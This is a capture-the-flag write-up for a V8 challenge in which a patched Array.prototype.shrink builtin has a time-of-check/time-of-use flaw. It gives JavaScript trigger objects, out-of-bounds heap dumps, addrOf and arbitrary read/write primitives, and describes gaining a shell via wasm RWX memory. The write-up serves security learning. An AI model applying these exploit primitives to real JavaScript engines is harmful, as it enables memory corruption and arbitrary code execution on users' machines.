Skip to content

Securinets

ChallengeCategoryPointsSolves
Sukunahikonav8, toctou487 pts14

Sukunahikona

though I think most people solve it through N-days, the intended solve is quite cool since it requires you to actually read the V8 source code which is my first timer :D

btw the author also write an official writeup for this challenge, give it a read! https://buddurid.me/2025/10/04/securinets-quals-2025

Description

i ran out of descriptions . Just solve it ig ??!!
nc pwn-14caf623.p1.securinets.tn 9003

Analysis

The Patch

this is the REVISION which seems to date back to June 2024 and is how probably people used to find N-days.

5a2307d0f2c5b650c6858e2b9b57b335a59946ff

we're also given the build arguments from which we know sandbox is disabled yey :D

# Build arguments go here.
# See "gn args <out_dir> --list" for available build arguments.
is_component_build = false
is_debug = false
target_cpu = "x64"
v8_enable_sandbox = false
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
dcheck_always_on = false
use_goma = false
v8_code_pointer_sandboxing = false

in the given patch file, we can see that it registers one new function to JSArray.

diff
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index ea45a7ada6b..2552c286b60 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -624,6 +624,45 @@ BUILTIN(ArrayShift) {
 
   return GenericArrayShift(isolate, receiver, length);
 }
+BUILTIN(ArrayShrink) {
+  HandleScope scope(isolate);
+  Factory *factory = isolate->factory();
+  Handle<Object> receiver = args.receiver();
+
+  if (!IsJSArray(*receiver) || !HasOnlySimpleReceiverElements(isolate, Cast<JSArray>(*receiver))) {
+    THROW_NEW_ERROR_RETURN_FAILURE(
+      isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+      factory->NewStringFromAsciiChecked("Oldest trick in the book"))
+    );
+  }
+
+  Handle<JSArray> array = Cast<JSArray>(receiver);
+
+  if (args.length() != 2) {
+    THROW_NEW_ERROR_RETURN_FAILURE(
+      isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+      factory->NewStringFromAsciiChecked("specify length to shrink to "))
+    );
+  }
+
+  
+  uint32_t old_len = static_cast<uint32_t>(Object::NumberValue(array->length()));
+
+  Handle<Object> new_len_obj;
+  ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, new_len_obj, Object::ToNumber(isolate, args.at(1)));
+  uint32_t new_len = static_cast<uint32_t>(Object::NumberValue(*new_len_obj));
+  
+  if (new_len >= old_len){
+    THROW_NEW_ERROR_RETURN_FAILURE(
+      isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+      factory->NewStringFromAsciiChecked("invalid length"))
+    );
+  }
+
+  array->set_length(Smi::FromInt(new_len));
+  
+  return ReadOnlyRoots(isolate).undefined_value();
+}
diff --git a/src/init/bootstrapper.cc b/src/init/bootstrapper.cc
index 48249695b7b..c8c5c2eda25 100644
--- a/src/init/bootstrapper.cc
+++ b/src/init/bootstrapper.cc
@@ -2535,6 +2535,9 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
                           true);
     SimpleInstallFunction(isolate_, proto, "concat",
                           Builtin::kArrayPrototypeConcat, 1, false);
+
+    SimpleInstallFunction(isolate_, proto, "shrink",
+                          Builtin::kArrayShrink, 1, false);
     SimpleInstallFunction(isolate_, proto, "copyWithin",
                           Builtin::kArrayPrototypeCopyWithin, 2, false);
     SimpleInstallFunction(isolate_, proto, "fill", Builtin::kArrayPrototypeFill,

the new function can be called as follows

js
var arr = [1.1, 1.2, 1.3];
console.log("original length: " + arr.length);
arr.shrink(1)
console.log("shrink length: " + arr.length);

and as we run it, the length of the JSArray does got overwritten but not with the length of the actual elements.

js
gef➤  run
Starting program: /home/nordrljos/Shared/Securinets/Sukunahikona/server/d8 --allow-natives-syntax --shell exp.js 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7ffff7bff6c0 (LWP 4607)]
[New Thread 0x7ffff73fe6c0 (LWP 4608)]
[New Thread 0x7ffff6bfd6c0 (LWP 4609)]
original length: 3
shrink length: 1
V8 version 12.8.0 (candidate)
d8> dp(arr)
DebugPrint: 0x376200042fed: [JSArray]
 - map: 0x3762001cb86d <Map[16](PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x3762001cb1c5 <JSArray[0]>
 - elements: 0x376200042fcd <FixedDoubleArray[3]> [PACKED_DOUBLE_ELEMENTS]
 - length: 1
 - properties: 0x376200000725 <FixedArray[0]>
 - All own properties (excluding elements): {
    0x376200000d99: [String] in ReadOnlySpace: #length: 0x376200025fed <AccessorInfo name= 0x376200000d99 <String[6]: #length>, data= 0x376200000069 <undefined>> (const accessor descriptor, attrs: [W__]), location: descriptor
 }
 - elements: 0x376200042fcd <FixedDoubleArray[3]> {
           0: 1.1
           1: 1.2
           2: 1.3
 }
gef> v8 0x376200042fcd
0x376200042fcd: [FixedDoubleArray]
 - map: 0x3762000008a9 <Map(FIXED_DOUBLE_ARRAY_TYPE)>
 - length: 3
           0: 1.1
           1: 1.2
           2: 1.3

and thus one might ask how this can lead to memory corruption? sure we can create a discrepancy between the arrays and elements object in terms of length, but there's an actual check ensuring the new length will never be bigger than the old length.

Stream to Sink

well, this is exactly my mistake, somehow during the competition, not a single thought crossed my mind the fact that javascript is a dynamically typed language. I'm so used to working with statically typed language that I automatically assumed the function can only be called with integers.

when in fact, this would theoretically also work:

js
var some_object = {};
var arr = [1.1, 1.2, 1.3];
arr.shrink(some_object)

this is due to there's no check whether the argument passed to it is a number, rather it is coded to behave specifically to accept non numbers argument. we can see in the highlighted line below, it does check the reference object to be an JSArray type.

cpp
if (!IsJSArray(*receiver) || !HasOnlySimpleReceiverElements(isolate, Cast<JSArray>(*receiver))) {
  THROW_NEW_ERROR_RETURN_FAILURE(
    isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
    factory->NewStringFromAsciiChecked("Oldest trick in the book"))
  );
}

however, the subsequent code doesn't perform an IsNumber check, it rather calls Object::ToNumber as shown below

cpp
Handle<Object> new_len_obj;
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, new_len_obj, Object::ToNumber(isolate, args.at(1)));
uint32_t new_len = static_cast<uint32_t>(Object::NumberValue(*new_len_obj));

to investigate this behaviour further let's read the source code. after I clone the v8 source code, I immediately revert to the commit hash and apply the diff patch

ps
PS v8> git checkout 5a2307d0f2c5b650c6858e2b9b57b335a59946ff
Updating files: 100% (6914/6914), done.
Previous HEAD position was ac846b1a80e Reland "[turboshaft] Extend BranchElimination to eliminate Switches"
HEAD is now at 5a2307d0f2c Avoid allocating duplicate "type" strings in wasm-js.cc
PS v8> git apply --ignore-space-change --ignore-whitespace --exclude=to_give/d8 --exclude=to_give/snapshot_blob.bin .\patch

first, lets figure out what ASSIGN_RETURN_FAILURE_ON_EXCEPTION actually does

cpp
#define ASSIGN_RETURN_ON_EXCEPTION_VALUE(isolate, dst, call, value) \
  do {                                                              \
    if (!(call).ToHandle(&dst)) {                                   \
      DCHECK((isolate)->has_exception());                           \
      return value;                                                 \
    }                                                               \
  } while (false)

#define ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, dst, call)                \
  do {                                                                        \
    auto* __isolate__ = (isolate);                                            \
    ASSIGN_RETURN_ON_EXCEPTION_VALUE(__isolate__, dst, call,                  \
                                     ReadOnlyRoots(__isolate__).exception()); \
  } while (false)

#define ASSIGN_RETURN_ON_EXCEPTION(isolate, dst, call) \
  ASSIGN_RETURN_ON_EXCEPTION_VALUE(isolate, dst, call, kNullMaybeHandle)

so the macro basically calls call with dst as its parameter and if something wrong, return from the current routine with value.

so instinctively, the next function to check is Object::ToNumber. the function first checks if input is a number. if it is, return it else it converts input to number via ConvertToNumber

cpp
MaybeHandle<Number> Object::ToNumber(Isolate* isolate, Handle<Object> input) {
  if (IsNumber(*input)) return Cast<Number>(input);  // Shortcut.
  return ConvertToNumber(isolate, input);
}

ConvertToNumber loops over, performing multiple conversion if needed until input is a number. every case is either a cast or throws an error.

cpp
MaybeHandle<Number> Object::ConvertToNumber(Isolate* isolate,
                                            Handle<Object> input) {
  while (true) {
    if (IsNumber(*input)) {
      return Cast<Number>(input);
    }
    if (IsString(*input)) {
      return String::ToNumber(isolate, Cast<String>(input));
    }
    if (IsOddball(*input)) {
      return Oddball::ToNumber(isolate, Cast<Oddball>(input));
    }
    if (IsSymbol(*input)) {
      THROW_NEW_ERROR(isolate, NewTypeError(MessageTemplate::kSymbolToNumber));
    }
    if (IsBigInt(*input)) {
      THROW_NEW_ERROR(isolate, NewTypeError(MessageTemplate::kBigIntToNumber));
    }
    ASSIGN_RETURN_ON_EXCEPTION(
        isolate, input,
        JSReceiver::ToPrimitive(isolate, Cast<JSReceiver>(input),
                                ToPrimitiveHint::kNumber));
  }
}

TIP

if this is my first encounter with Oddball give this blog a read to know more about it!

I've tried to dive into the ToNumber method of String and Oddball but it was too complicated for me to understand and I keep finding myself dived deeper to the rabbit hole and spending more time. luckily the default case is the most interesting one for us.

up until this point, to simulate the actual call stack, we'll have to assume that shrink is being called with an empty object such as arr.shrink({})

there's a lot of new symbol and method in JSReceiver::ToPrimitive implementation, I've defined most of them side by side so it can be analysed more efficiently.

cpp
MaybeHandle<Object> JSReceiver::ToPrimitive(Isolate* isolate,
                                            Handle<JSReceiver> receiver,
                                            ToPrimitiveHint hint) {
  Handle<Object> exotic_to_prim;
  ASSIGN_RETURN_ON_EXCEPTION(
      isolate, exotic_to_prim,
      Object::GetMethod(isolate, receiver,
                        isolate->factory()->to_primitive_symbol()));
  if (!IsUndefined(*exotic_to_prim, isolate)) {
    Handle<Object> hint_string =
        isolate->factory()->ToPrimitiveHintString(hint);
    Handle<Object> result;
    ASSIGN_RETURN_ON_EXCEPTION(
        isolate, result,
        Execution::Call(isolate, exotic_to_prim, receiver, 1, &hint_string));
    if (IsPrimitive(*result)) return result;
    THROW_NEW_ERROR(isolate,
                    NewTypeError(MessageTemplate::kCannotConvertToPrimitive));
  }
  return OrdinaryToPrimitive(isolate, receiver,
                             (hint == ToPrimitiveHint::kString)
                                 ? OrdinaryToPrimitiveHint::kString
                                 : OrdinaryToPrimitiveHint::kNumber);
}

// static
MaybeHandle<Object> JSReceiver::OrdinaryToPrimitive(
    Isolate* isolate, Handle<JSReceiver> receiver,
    OrdinaryToPrimitiveHint hint) {
  Handle<String> method_names[2];
  switch (hint) {
    case OrdinaryToPrimitiveHint::kNumber:
      method_names[0] = isolate->factory()->valueOf_string();
      method_names[1] = isolate->factory()->toString_string();
      break;
    case OrdinaryToPrimitiveHint::kString:
      method_names[0] = isolate->factory()->toString_string();
      method_names[1] = isolate->factory()->valueOf_string();
      break;
  }
  for (Handle<String> name : method_names) {
    Handle<Object> method;
    ASSIGN_RETURN_ON_EXCEPTION(
        isolate, method, JSReceiver::GetProperty(isolate, receiver, name));
    if (IsCallable(*method)) {
      Handle<Object> result;
      ASSIGN_RETURN_ON_EXCEPTION(
          isolate, result,
          Execution::Call(isolate, method, receiver, 0, nullptr));
      if (IsPrimitive(*result)) return result;
    }
  }
  THROW_NEW_ERROR(isolate,
                  NewTypeError(MessageTemplate::kCannotConvertToPrimitive));
}
cpp
MaybeHandle<Object> Object::GetMethod(Isolate* isolate,
                                      Handle<JSReceiver> receiver,
                                      Handle<Name> name) {
  Handle<Object> func;
  ASSIGN_RETURN_ON_EXCEPTION(isolate, func,
                             JSReceiver::GetProperty(isolate, receiver, name));
  if (IsNullOrUndefined(*func, isolate)) {
    return isolate->factory()->undefined_value();
  }
  if (!IsCallable(*func)) {
    THROW_NEW_ERROR(isolate, NewTypeError(MessageTemplate::kPropertyNotFunction,
                                          func, name, receiver));
  }
  return func;
}
cpp
Handle<String> Factory::ToPrimitiveHintString(ToPrimitiveHint hint) {
  switch (hint) {
    case ToPrimitiveHint::kDefault:
      return default_string();
    case ToPrimitiveHint::kNumber:
      return number_string();
    case ToPrimitiveHint::kString:
      return string_string();
  }
  UNREACHABLE();
}

the function starts by checking if the array have the toPrimitive symbol defined, if it does its going to call it using the hint parameter of "number" that might've look like this

cpp
receiver[Symbol.toPrimitive]("number")

else it will attempt to call valueOf(). if fails, it will then try to call toString().

Exploitation

Achieving OOB

the problem with the shrink implementation is that, all of the three functions (toPrimitive, valueOf and toString) above can be defined by the user, and those defined function might alter the array's state (i.e. its length) thus bypassing the if (new_len >= old_len) check.

this phenomenon is called Time-Of-Check vs Time-Of-Use. suppose we have an array of length 100 and an object as follows

TIP

I offer three variants, each with the sink functions. which all of are able to trigger the bug

js
evil = { 
    [Symbol.toPrimitive](hint) {
        arr.length = 0;
        if (hint == "number") return 99;
        return null;
  },
};
js
evil = { 
    toString: () => {
        arr.length = 0;
        return 99;
  },
};
js
evil = { 
    valueOf: () => {
        arr.length = 0;
        return 99;
  },
};

what these method does is basically alter the length of the array to 0 and returning 99 as the new_len, which is less than old_len and thus satisfies the condition. unknowingly by the v8 that the array length had been actually modified and was not the same as the assumed original old_len anymore.

then when shrink is called with those object such as below

js
function dp(x){ %DebugPrint(x); }
function bp() { %SystemBreak(); }

let arr = new Array(100).fill(1.2);
console.log("before shrink: " + arr.length);
dp(arr);

bp();

arr.shrink(evil);
console.log("after shrink " + arr.length);
dp(arr);

we can observe that before shrink is called, JSArray had a length of 100, same with the elements's length and such there's no discrepancy.

js
before shrink: 100
DebugPrint: 0x23d1000431dd: [JSArray]
 - map: 0x23d1001cb8ad <Map[16](HOLEY_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x23d1001cb1c5 <JSArray[0]>
 - elements: 0x23d100043385 <FixedDoubleArray[100]> [HOLEY_DOUBLE_ELEMENTS]
 - length: 100
 - properties: 0x23d100000725 <FixedArray[0]>
 - All own properties (excluding elements): {
    0x23d100000d99: [String] in ReadOnlySpace: #length: 0x23d100025fed <AccessorInfo name= 0x23d100000d99 <String[6]: #length>, data= 0x23d100000069 <undefined>> (const accessor descriptor, attrs: [W__]), location: descriptor
 }
 - elements: 0x23d100043385 <FixedDoubleArray[100]> {
        0-99: 1.2
 }

however, after shrink is called observe below that the length is as expected to be 99 but the elements now points to a FixedArray of length 0. this is because we had overwritten the length to 0 prior it was set to 99 and it removes the elements of FixedDoubleArray to free the reference.

js
after shrink 99
DebugPrint: 0x23d1000431dd: [JSArray]
 - map: 0x23d1001cb8ad <Map[16](HOLEY_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x23d1001cb1c5 <JSArray[0]>
 - elements: 0x23d100000725 <FixedArray[0]> [HOLEY_DOUBLE_ELEMENTS]
 - length: 99
 - properties: 0x23d100000725 <FixedArray[0]>
 - All own properties (excluding elements): {
    0x23d100000d99: [String] in ReadOnlySpace: #length: 0x23d100025fed <AccessorInfo name= 0x23d100000d99 <String[6]: #length>, data= 0x23d100000069 <undefined>> (const accessor descriptor, attrs: [W__]), location: descriptor
 }

if we try to insert an element right after setting its length to 0, such as

js
arr.length = 0;
arr.push(1)

or

js
arr.length = 0;
arr[0] = 0;

the JSArray will allocate a new holey elements heap object

js
DebugPrint: 0x1c8200043151: [JSArray]
 - map: 0x1c82001cb8ad <Map[16](HOLEY_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x1c82001cb1c5 <JSArray[0]>
 - elements: 0x1c82000436a5 <FixedDoubleArray[17]> [HOLEY_DOUBLE_ELEMENTS]
 - length: 99
 - properties: 0x1c8200000725 <FixedArray[0]>
 - All own properties (excluding elements): {
    0x1c8200000d99: [String] in ReadOnlySpace: #length: 0x1c8200025fed <AccessorInfo name= 0x1c8200000d99 <String[6]: #length>, data= 0x1c8200000069 <undefined>> (const accessor descriptor, attrs: [W__]), location: descriptor
 }
 - elements: 0x1c82000436a5 <FixedDoubleArray[17]> {
           0: 0
        1-16: <the_hole>
 }

through observation, I found that there's some sort of pattern to the elements's length that depends on which index we assign the value to

  • arr[0] = 0 -> elements length 17
  • arr[1] = 0 -> elements length 19
  • arr[2] = 0 -> elements length 20
  • arr[3] = 0 -> elements length 22

regardless, since the JSArray length is now 99 we will able to perform an OOB.

another thing to note is that there's a huge offset from the reallocated elements to JSArray which is not large enough for our OOB to reach.

py
>>> elements = 0x1c82000436a5
>>> JSArray = 0x1c8200043151
>>> print(hex(elements - JSArray))
0x554
>>> hex(99*8)
'0x318'

Primitives

luckily, these space between the JSArray and elements are free objects than can be claimed. I found out that if we allocate another array object after triggering the vulnerability, these objects are allocated within our OOB reach.

js
// [...SNIPPET...]
arr.shrink(evil);

let float_arr = [1.1, 2.2, 2.3];
let obj_arr = [obj, obj] 

// dumps OOB
for (let i = 0; i < 99; i++) {
    console.log("arr[" + i + "] = " + ftoi(arr[i]).toString(16));
}

as can be seen in the output snippet below, we're able to identify the maps for both arrays alongside its elements

js
//  [...SNIPPET...]
arr[17] = 6000008a9
arr[18] = 3ff199999999999a
arr[19] = 400199999999999a
arr[20] = 4002666666666666
arr[21] = 725001cb86d
arr[22] = 600043815
//  [...SNIPPET...]
d8> dp(float_arr)
DebugPrint: 0x28be00043835: [JSArray]
 - map: 0x28be001cb86d <Map[16](PACKED_DOUBLE_ELEMENTS)> [FastProperties]
//  [...SNIPPET...]
 - elements: 0x28be00043815 <FixedDoubleArray[3]> {
           0: 1.1
           1: 2.2
           2: 2.3
js
//  [...SNIPPET...]
arr[23] = 40000056d
arr[24] = 4320500043205
arr[25] = 725001cb8ed
//  [...SNIPPET...]
d8> dp(obj_arr)
DebugPrint: 0x28be00043855: [JSArray]
 - map: 0x28be001cb8ed <Map[16](PACKED_ELEMENTS)> [FastProperties]
//  [...SNIPPET...]
 - elements: 0x28be00043845 <FixedArray[2]> {
         0-1: 0x28be00043205 <Object map = 0x28be001d3ae1>

since we have full control towards both arrays, crafting the primitives is pretty trivial.

for AddressOf we would just assign an object to the object_arr then use OOB to read its elements as floats

js
function addrOf(obj) {
    obj_arr[0] = obj;
    let addr = Number(ftoi(arr[24]) & 0xffffffffn); // OOB to directly reads `obj_arr` elements as float
    return BigInt(addr);
}

as for arbitrary read and write within the heap, its as simple as overwriting the float_arr's elements pointer.

js
function v8Read(addr) {
    if (addr % 2n == 0)
        addr += 1n;
    arr[22] = itof((0x6n<<32n) | (addr-0x8n));  // overwriting `float_arr` (size | elements)
    return ftoi(float_arr[0])
}

function v8Write(addr, val) {
    if (addr % 2n == 0)
        addr += 1n;
    arr[22] = itof((0x6n<<32n) | (addr-0x8n));  // overwriting `float_arr` (size | elements)
    float_arr[0] = itof(val)
}

Gaining Shell

shell is also trivial, using a known technique I overwrite the backing store of dataview to point to the rwx page of an wasm instance and write shellcode into it. I've discussed this previously in my other writeup.

you can find the full exploit script here.

Flag: Securinets{shrink_is_op}